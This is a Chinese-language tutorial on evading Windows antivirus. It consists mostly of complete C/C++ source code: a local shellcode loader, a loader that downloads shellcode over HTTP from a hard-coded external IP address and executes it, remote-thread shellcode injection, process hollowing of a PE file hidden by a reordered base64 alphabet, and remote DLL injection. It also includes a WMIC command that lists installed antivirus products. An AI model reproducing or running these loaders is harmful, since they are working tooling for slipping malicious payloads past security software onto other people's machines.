windows免杀总结

1.准备工作

1.1 查看杀软名称

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

1.2 在线查杀

https://www.virustotal.com/

2. 免杀方法

2.1分离免杀

2.1.1 shellcode加载器

代码如下:

#include <iostream>
#include <windows.h>
#include <stdio.h>
using namespace std;

int main(int argc,char **argv)
{
    char *filename=NULL;
    filename = argv[1];
    int fileSize=0;
    FILE *fp=NULL;
    fp = fopen(filename,"rb");
    if(fp==NULL){
        return 1;
    }else{
        fseek(fp,0,SEEK_END);
        fileSize = ftell(fp);
        fseek(fp,0,SEEK_SET);
        char *fileBuffer = NULL;
        fileBuffer = (char *)malloc(fileSize);
        fread(fileBuffer,1,fileSize,fp);
        unsigned char *shellcodeBuffer=NULL;
        shellcodeBuffer = (unsigned char *)malloc(fileSize/2);
        memset(shellcodeBuffer,0,fileSize/2);
        for(int i=0;i<fileSize/2;i++){
            sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]);
            fileBuffer = fileBuffer+4;
        }
        void* exec = VirtualAlloc(0,fileSize/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        memcpy(exec,shellcodeBuffer,fileSize/2);
        ((void(*)())exec)();
    }
    return 2;
}

2.1.2 远程加载shellcode

//main.cpp
#include <stdio.h>
#include <iostream>
#include<time.h>
#include "mySocket.h"
#pragma comment(lib, "ws2_32.lib")

using namespace std;


//只是对Socket中使用TCP协议的封装

int MySocket::InitClient(SOCKET *sock, string ip, int port)
{
    WSADATA wsaData;//初始化wsaData
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
    {
        return -1;
    }

    //创建套接字
    if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
    {
        WSACleanup();
        return -1;
    }

    struct sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(port);
    serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());

    if (connect(*sock, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR)
    {
        return -1;
    }

    return 0;
}

int MySocket::CloseMySocket(SOCKET *sock)
{
    if (closesocket(*sock) == SOCKET_ERROR)
    {
        WSACleanup();
        return -1;
    }
    return 0 ;
}

int MySocket::RecvData(SOCKET sock, string &data)
{
    int bufLen = 255;
    char buf[256];
    int recvLen= 0;
    int iResult;
    buf[bufLen] = '\0';
    while (true)
    {
        iResult = recv(sock, buf, bufLen, 0);
        if (iResult < 0)
        {
            data = "";
            return -1;
        }

        recvLen += iResult;

        if (iResult == 0)
        {
            return recvLen;
        }

        if (iResult == bufLen)
        {
            data += buf;
            ZeroMemory(buf, bufLen);
            continue;
        }
        if (iResult > 0 && iResult < bufLen)
        {
            data += buf;
            return recvLen;
        }
    }
}

int MySocket::SendData(SOCKET sock, const string data)
{
    int iResult = send(sock, data.c_str(), data.length(), 0);
    if (iResult == SOCKET_ERROR) {
        MySocket::CloseMySocket(&sock);
        WSACleanup();
        return -1;
    }

    return 0;
}

int main()
{
    SOCKET clientSock;
    string str;
    int iResult;
    if (MySocket::InitClient(&clientSock, "144.202.127.21", 9999) == -1)//主机IP地址+端口号
    {
        printf("连接失败\n");
        return -1;
    }
    string head = "GET / HTTP/1.1\r\n";
    head.append("Host: 144.202.127.21\r\n");//请求的域名
    head.append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n");
    head.append("User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\r\n");
    head.append("Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n");
    head.append("Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7");
    head.append("Accept-Encoding: gzip,deflate\r\n");
    head.append("\r\n");//表明请求头结束了
    iResult = MySocket::SendData(clientSock, head);
    if (iResult == -1)
    {
        printf("发送数据失败\n");
        return -1;
    }
    iResult = MySocket::RecvData(clientSock, str);

    if (iResult  == -1)
    {
        printf("接受数据失败\n");
        return -1;
    }
    //printf("----接受数据长度:%d----\n", iResult);
    int shellcodeLen=0;
    shellcodeLen = iResult-str.find_last_of("\n",iResult-2)-2;
    //char* shellcode=NULL;
    //printf("%d\n",shellcodeLen);
    string shellcode;
    shellcode = str.substr(str.find_last_of("\n",iResult-2)+1,shellcodeLen);
    MySocket::CloseMySocket(&clientSock);
    char* pfilebuffer;
    pfilebuffer = (char*)(shellcode.c_str());
    //printf(pfilebuffer);
    unsigned char *shellcodeBuffer=NULL;
    shellcodeBuffer = (unsigned char *)malloc(shellcodeLen/2);
    memset(shellcodeBuffer,0,shellcodeLen/2);
    for(int i=0;i<shellcodeLen/2;i++){
            sscanf(pfilebuffer,"\\x%x",&shellcodeBuffer[i]);
            pfilebuffer = pfilebuffer+4;
    }
    void* exec = VirtualAlloc(0,shellcodeLen/2,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    memcpy(exec,shellcodeBuffer,shellcodeLen/2);
    ((void(*)())exec)();
    return 0;
}
//mySocket.h
#include <Winsock2.h>
#include <Windows.h>
#include <Ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#include <string>

using namespace std;

//只是对Socket中使用TCP协议的一种封装
class MySocket{
public:
    static int InitClient(SOCKET *sock, string ip, int port);
    static int CloseMySocket(SOCKET *Sock);
    static int SendData(SOCKET sock, const string data);
    static int RecvData(SOCKET sock, string &data);
};

免杀效果如下:

2.1.3 shellcode远程线程注入

命令行指定承载了shellcode的文件和要注入的进程pid,从文件中读取一段shellcode,然后把把这段shellcode注入到远程进程中并创建一个线程运行这段shellcode,代码如下:

#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
using namespace std;

int main(int argc,char* argv[])
{
    int ShellSize = 0;
    char* filename = argv[1];
    FILE* fp=NULL;
    fp = fopen(filename,"rb");
    fseek(fp,0,SEEK_END);
    ShellSize = ftell(fp);
    fseek(fp,0,SEEK_SET);
    char* fileBuffer = (char *)malloc(ShellSize);
    fread(fileBuffer,1,ShellSize,fp);
    unsigned char *shellcodeBuffer=NULL;
    shellcodeBuffer = (unsigned char *)malloc(ShellSize/2);
    memset(shellcodeBuffer,0,ShellSize/2);
    for(int i=0;i<ShellSize/2;i++){
        sscanf(fileBuffer,"\\x%x",&shellcodeBuffer[i]);
        fileBuffer = fileBuffer+4;
    }
    ShellSize = ShellSize/2;
    int targetPid=atoi(argv[2]);
    HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid);
    if (hProcess == NULL)
    {
        printf("Can't open this process!\n");
        return FALSE;
    }
    LPVOID pThread = VirtualAllocEx(hProcess, NULL, ShellSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pThread, shellcodeBuffer, ShellSize, NULL);
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pThread, NULL, 0, NULL);
    return 0;
}

运行效果及免杀效果如下图所示:

2.1.4 PE文件加载

1.首先将一个exe文件使用修改过编码顺序的base64编码算法进行编码,代码如下:

//base64.cpp
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>


const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

char * base64_encode(char * bindata, char * base64, int binlength )
{
    int i, j;
    unsigned char current;
    for ( i = 0, j = 0 ; i < binlength ; i += 3 )
    {
        current = (bindata[i] >> 2) ;
        current &= (unsigned char)0x3F;
        base64[j++] = base64char[(int)current];
        current = ( (unsigned char)(bindata[i] << 4 ) ) & ( (unsigned char)0x30 ) ;
        if ( i + 1 >= binlength )
        {
            base64[j++] = base64char[(int)current];
            base64[j++] = '=';
            base64[j++] = '=';
            //printf("%x",i);
            break;
        }
        //printf("%d\n",i);
        current |= ( (unsigned char)(bindata[i+1] >> 4) ) & ( (unsigned char) 0x0F );
        base64[j++] = base64char[(int)current];

        current = ( (unsigned char)(bindata[i+1] << 2) ) & ( (unsigned char)0x3C ) ;
        if ( i + 2 >= binlength )
        {
            base64[j++] = base64char[(int)current];
            base64[j++] = '=';
            break;
        }
        current |= ( (unsigned char)(bindata[i+2] >> 6) ) & ( (unsigned char) 0x03 );
        base64[j++] = base64char[(int)current];

        current = ( (unsigned char)bindata[i+2] ) & ( (unsigned char)0x3F ) ;
        base64[j++] = base64char[(int)current];
    }
    base64[j] = '\0';
    return base64;
}




int main(int argc, char* argv[])
{


    FILE *fp = NULL;
    unsigned int size;         //文件字节数
    char *buffer;
    char *buffer1;
    size_t result;
    char *ret1;
    unsigned int length;
    char* filename=NULL;
    filename = argv[1];
    fp = fopen(filename,"rb");

    if (NULL == fp)
    {
        printf("open_error");
        exit(1);
    }


    //获取文件大小
    fseek(fp, 0L, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0L, SEEK_SET);
    printf("Sizeof file length is : %d \n",size);
    //分配内存存储整个文件
    buffer = (char *)malloc((size/4+1)*4);
    if (NULL == buffer)
    {
        printf("memory_error");
        exit(2);
    }

    //将文件拷贝到buffer
    result = fread(buffer, 1, size, fp);
     if (result != size)
    {
        printf("reading_error");
        exit (3);
    }
    fclose(fp);

        //base64编码
    buffer1 = (char *)malloc((size/4+1)*8);
    if (NULL == buffer1)
    {
        printf("memory_error");
        exit(2);
    }
    ret1 = base64_encode(buffer, buffer1, size);

    length = strlen(buffer1);
    FILE *fp1 = fopen(argv[2],"ab");
    fprintf(fp1,"char* encodeedFile=\"");
    fwrite(buffer1, strlen(buffer1), 1, fp1);
    fprintf(fp1,"\";");
    free(buffer);
    free(buffer1);
    printf("Generate File Success!! Filename is %s",argv[2]);
    return 0;
}

使用方法如下图所示:

2.将生成的.h文件拷贝到base64decode项目和main.cpp文件同级目录中进行编译,base64decodemain.cpp内容如下:

#include <iostream>
#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <windows.h>
#include "res.h"
using namespace std;

const char * base64char = "BACDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_decode(char * base64,char * bindata )
{
    int i, j;
    unsigned char k;
    unsigned char temp[4];
    for ( i = 0, j = 0; base64[i] != '\0' ; i += 4 )
    {
        memset( temp, 0xFF, sizeof(temp) );
        for ( k = 0 ; k < 64 ; k ++ )
        {
            if ( base64char[k] == base64[i] )
                temp[0]= k;
        }
        for ( k = 0 ; k < 64 ; k ++ )
        {
            if ( base64char[k] == base64[i+1] )
                temp[1]= k;
        }
        for ( k = 0 ; k < 64 ; k ++ )
        {
            if ( base64char[k] == base64[i+2] )
                temp[2]= k;
        }
        for ( k = 0 ; k < 64 ; k ++ )
        {
            if ( base64char[k] == base64[i+3] )
                temp[3]= k;
        }

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2))&0xFC)) |
                ((unsigned char)((unsigned char)(temp[1]>>4)&0x03));
        if ( base64[i+2] == '=' )
            break;

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4))&0xF0)) |
                ((unsigned char)((unsigned char)(temp[2]>>2)&0x0F));
        if ( base64[i+3] == '=' )
            break;

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6))&0xF0)) |
                ((unsigned char)(temp[3]&0x3F));
    }
    return j;
}
PIMAGE_DOS_HEADER getDosHeader(char *filebuffer){
    //声明所要用到的变量
    PIMAGE_DOS_HEADER pDosHeader = NULL;
   //获取DOS头
    pDosHeader = (PIMAGE_DOS_HEADER)filebuffer;
    return pDosHeader;
}
PIMAGE_NT_HEADERS32 getNTHeader(char *filebuffer){
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)filebuffer;
    PIMAGE_NT_HEADERS pNTHeader = PIMAGE_NT_HEADERS(filebuffer + (*pDosHeader).e_lfanew);
    return pNTHeader;
}
char* getImageBufferFromFileBuffer(char* pfileBuffer){
    char *pImageBuffer=NULL;
    PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pfileBuffer);
    PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pfileBuffer);
    pImageBuffer = (char *)malloc(pNTHeader->OptionalHeader.SizeOfImage);//申请imagebuffer
    if (pImageBuffer==NULL){
        printf("malloc imageBuffer failed!\n");
    }else{
        //复制PE头
        memcpy(pImageBuffer,pfileBuffer,pNTHeader->OptionalHeader.SizeOfHeaders);
        //复制每一节
        for(int i=0;i<pNTHeader->FileHeader.NumberOfSections;i++){
            PIMAGE_SECTION_HEADER pTmpImageSectionHeader=NULL;
            pTmpImageSectionHeader = PIMAGE_SECTION_HEADER(pfileBuffer + (pDosHeader->e_lfanew) + sizeof(pNTHeader->Signature) +sizeof(IMAGE_FILE_HEADER) + pNTHeader->FileHeader.SizeOfOptionalHeader+i*sizeof(IMAGE_SECTION_HEADER));
            memcpy(pImageBuffer+pTmpImageSectionHeader->VirtualAddress,pfileBuffer+pTmpImageSectionHeader->PointerToRawData,pTmpImageSectionHeader->SizeOfRawData);
        }
    }
    return pImageBuffer;
}

int main()
{
    char* bindata = (char *)malloc(strlen(encodeedFile));
    base64_decode(encodeedFile,bindata);
    char* pFileBuffer = bindata;
        PIMAGE_DOS_HEADER pDosHeader = getDosHeader(pFileBuffer);
    PIMAGE_NT_HEADERS32 pNTHeader = getNTHeader(pFileBuffer);
    char* pImageBuffer=getImageBufferFromFileBuffer(pFileBuffer);
    char currentFilename[MAX_PATH]={0};
    ::GetModuleFileName(NULL,currentFilename,MAX_PATH);


    STARTUPINFO myStartUpInfo;
    ::memset(&myStartUpInfo, 0 ,sizeof(myStartUpInfo)); //创建进程启动信息结构体
    myStartUpInfo.cb = sizeof(myStartUpInfo);

    PROCESS_INFORMATION myProcessInfo;
    ::memset(&myProcessInfo, 0 ,sizeof(myProcessInfo));  //创建进程返回信息结构体

    CreateProcess(currentFilename,
                  NULL,
                  NULL,
                  NULL,
                  false,
                  CREATE_SUSPENDED,
                  NULL,
                  NULL,
                  &myStartUpInfo,
                  &myProcessInfo
                  ); //以挂起的方式创建进程
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL; //创建线程context结构用于存储所创建进程主线程的context
    ::GetThreadContext(myProcessInfo.hThread,&context);

    DWORD dwRemoteImageBase;  //获取傀儡进程ImageBase
    ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL);


    //卸载傀儡程序
    HMODULE hntDll = GetModuleHandle(TEXT("ntdll.dll"));
    typedef unsigned long(__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);
    pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
    ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(hntDll,"ZwUnmapViewOfSection");
    BOOL res = FALSE;
    if (ZwUnmapViewOfSection)
    {
        res = (ZwUnmapViewOfSection((unsigned long)myProcessInfo.hProcess, dwRemoteImageBase) == 0);
    }
    if (res){
        //在远程进程空间中申请内存
        void *pRemoteImageBase=NULL;
        pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,(PVOID)dwRemoteImageBase,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        //尝试在远程空间中原有的imagebase中获得内存
        if (pRemoteImageBase != NULL){
            printf("get VirtualAllocEx success.\n"); //获取成功
        }else{
            pRemoteImageBase = VirtualAllocEx(myProcessInfo.hProcess,NULL,(DWORD)(pNTHeader->OptionalHeader.SizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            //修复重定位表
            PIMAGE_BASE_RELOCATION pImageBaseRelaction=NULL;
            pImageBaseRelaction = PIMAGE_BASE_RELOCATION(pImageBuffer+ pNTHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
            while(pImageBaseRelaction->VirtualAddress!=0){ //遍历RELOCATION数据块
                //遍历每一个RELOCATION数据块中的数据项
                struct TypeOffset{
                    WORD offset : 12;
                    WORD type : 4;
                };
                TypeOffset* pTypeOffset=NULL;
                DWORD *ptmp = NULL;
                for(int i=0;i<((DWORD)pImageBaseRelaction->SizeOfBlock-8)/2;i++){
                    pTypeOffset = (TypeOffset *)((DWORD)pImageBaseRelaction+8+i*2);
                    char *realRVA=NULL;
                    if(pTypeOffset->type==3){
                        realRVA = (char *)((DWORD)pImageBaseRelaction->VirtualAddress+pTypeOffset->offset);
                        ptmp = (DWORD *)((DWORD)pImageBuffer+(DWORD)realRVA);
                        *ptmp = DWORD(*ptmp) - pNTHeader->OptionalHeader.ImageBase + (DWORD)pRemoteImageBase;
                    }
                }
                pImageBaseRelaction=PIMAGE_BASE_RELOCATION((DWORD)pImageBaseRelaction+pImageBaseRelaction->SizeOfBlock);
            }

        }
        DWORD writeRes=NULL;
        WriteProcessMemory(myProcessInfo.hProcess,pRemoteImageBase,pImageBuffer,pNTHeader->OptionalHeader.SizeOfImage,&writeRes);
        context.Eax = (DWORD)(pNTHeader->OptionalHeader.AddressOfEntryPoint) + (DWORD)pRemoteImageBase;//修改context的OEP
        ::SetThreadContext(myProcessInfo.hThread,&context);
        //修改远程进程的ImageBase
        LPVOID baseAddress=NULL;
        baseAddress = (LPVOID)(context.Ebx+8);
        WriteProcessMemory(myProcessInfo.hProcess,baseAddress,&pRemoteImageBase,sizeof(pRemoteImageBase),NULL);
        ReadProcessMemory(myProcessInfo.hProcess,(LPVOID)(context.Ebx+8),&dwRemoteImageBase,sizeof(DWORD),NULL);
        ResumeThread(myProcessInfo.hThread);

    }else{
        printf("Get memory failed!");
    }
    return 0;
}

3.查杀结果如下图所示:

2.1.5 远程dll注入

将一个设置好的dll加载到一个别人的进程中,代码如下:

#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
using namespace std;

int main(int argc,char* argv[])
{
    char* dllPath = NULL;
    dllPath = argv[1];
    int targetPid=0;
    targetPid = atoi(argv[2]);
    //printf("dll path : %s\n",dllPath);
    //printf("target process id : %d\n",targetPid);
    HANDLE hProcess = ::OpenProcess(PROCESS_CREATE_THREAD |PROCESS_VM_OPERATION |PROCESS_VM_WRITE, FALSE, targetPid);
    if (hProcess == NULL)
    {
        printf("Can't open this process!\n");
        return FALSE;
    }
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    LPTHREAD_START_ROUTINE pfnLoadLibraryA = (LPTHREAD_START_ROUTINE)::GetProcAddress(hKernel32, "LoadLibraryA");

    int dllPathLen = strlen(dllPath)+1;
    LPVOID lpRemoteDllPath = ::VirtualAllocEx(hProcess, 0, dllPathLen, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, lpRemoteDllPath, dllPath, dllPathLen, NULL);
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, pfnLoadLibraryA, lpRemoteDllPath, NULL, NULL);
    if (NULL == hRemoteThread)
    {
        ::CloseHandle(hProcess);
        return FALSE;
    }
    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    printf("Dll inject success!\n");
    return 0;
}

效果如下图所示,但事实上这个免杀结果肯定是不准的。